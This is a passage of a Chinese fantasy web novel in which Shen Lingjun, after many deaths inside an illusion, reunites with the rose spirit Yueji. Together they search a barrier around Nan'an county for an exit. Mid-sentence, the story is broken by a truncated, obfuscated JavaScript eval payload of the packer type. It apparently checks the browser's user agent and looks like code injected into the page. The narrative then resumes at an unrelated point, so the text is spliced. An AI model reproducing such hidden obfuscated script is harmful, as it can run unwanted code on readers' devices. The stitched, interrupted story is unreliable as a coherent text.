若是又回到那间囚室,他恐怕再也没有力气撑下去了。 他迟疑地伸出手,去探她的鼻息。 月季的眼珠动了动,“干什么?” 沈灵均长出一口气。刚才那一瞬间,感觉比之前的所有循环还要长。 “我以为你又要心碎了。” 月季定定地看着她,“你为了见我,死了多少次?” “记不清了。” 她眼里渐渐渗出露水,“要是见不到我,你还要死多少次?” “不重要了。” 月季扑过来,一把抱住他,嚎啕大哭,“呜呜呜,你受了那么多苦……我还用叶片抽你……” 沈灵均刚放下的心又悬了起来,慌乱地哄道,“别哭,别伤心,我没事的,一点都不疼,你下手比别的妖轻多了。” “撒谎!我纵横妖界五百年,比他们都厉害!” “是,是,你最厉害。蛟龙在你面前,不过是条橡皮蛇。” 月季揽住他的脖子,抽抽搭搭地哭个不停,沈灵均搜肠刮肚,把安慰的话说了个遍。明明受苦的是他,月季倒像是受了天大的委屈。 她哭了半天,好不容易哭够了,吸了吸鼻子,拉起他的手,“我不会再让你死了。走,我们去找出口。” 他们飞离地面。沈灵均觉得身体轻飘飘的,一颗心也轻飘飘的,熏风吹在脸上,脚下的景物迅速缩小。 他们飞过整个南安县,有妖发现人影,尖啸着来袭,月季一一打跑。 玉川下游,满目疮痍,原本风雨桥所在的地方,一条看不见的细线把世界切断,广阔无边的天地在此戛然而止,外面是一片虚空。 饶是月季见惯了大场面,也不由怔住。这情形如此诡异,若打破结界,不知是里面的世界延伸出去,还是外面的混沌把一切吞噬。 她凝神拍出一掌,用了十成力,结界纹丝不动。 又拍一掌,手心竟然隐隐作痛。 沈灵均道,“我什么办法都试过了。这面墙坚固无比,或许……” “嗯?” 他略一迟疑,“或许我们可以沿着边缘找找,有没有缺口。” 月季点点头,把手贴在墙上,朝着太阳落山的方向走去。空气的触感很微妙,有的地方厚重,有的地方稀薄,还有的地方微微发热。 沈灵均道,“南安县方圆五百里,照这样走,一天一夜就走完了。” 月季道,“仔细想来,这个结界确实处处都透着古怪。为什么你一切都记得,我却忘了?” 沈灵均笑道,“大概……妖的记性不大好吧。” 月季横了他一眼,“论心眼,自然比不过你。” 沈灵均小声嘀咕,“冤枉,我就差把心掏给你了。” “不能掏,会死人的。难道你还没死够么?” “够了,死得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈灵均低声道,“如果我们看到的一切都是假的,那真实的南安县,还存在吗?” 月季仿佛挨了当头一棒,“你的意思是……” “若有实在,何必造此幻境?恐怕南安县已经没了,这里不过是它留下的残影。” 月季的花心难过得皱缩起来,“你早就猜到了?” “在囚室之中,师父亲口告诉我,屏障已破,人妖两界贯通。如果蜃妖能来,别的妖也能来。” 月季努力回想跌入幻境前的事,她和天一道长激斗,毁去青龙白虎朱雀玄武四象柱,天一道长身受重创,金网破裂,漫天都是血雨和散落的道袍碎片。 “你师父已经死了。” 沈灵均的手颤了颤。 “我想也是。我离开沈府时,他已到了油尽灯枯之际。” “蛟龙和小龙候在通道另一端,和我打了照面。” 沈灵均眉头紧锁。 “后来……后来我就失去意识,想必是中了蜃妖的雾气。蜃妖是第三只穿过通道的妖,雾气弥漫整个南安县,所有人都跌入了幻境之中。 她看向沈灵均,大声道,“或许它们还没来得及毁掉南安县!”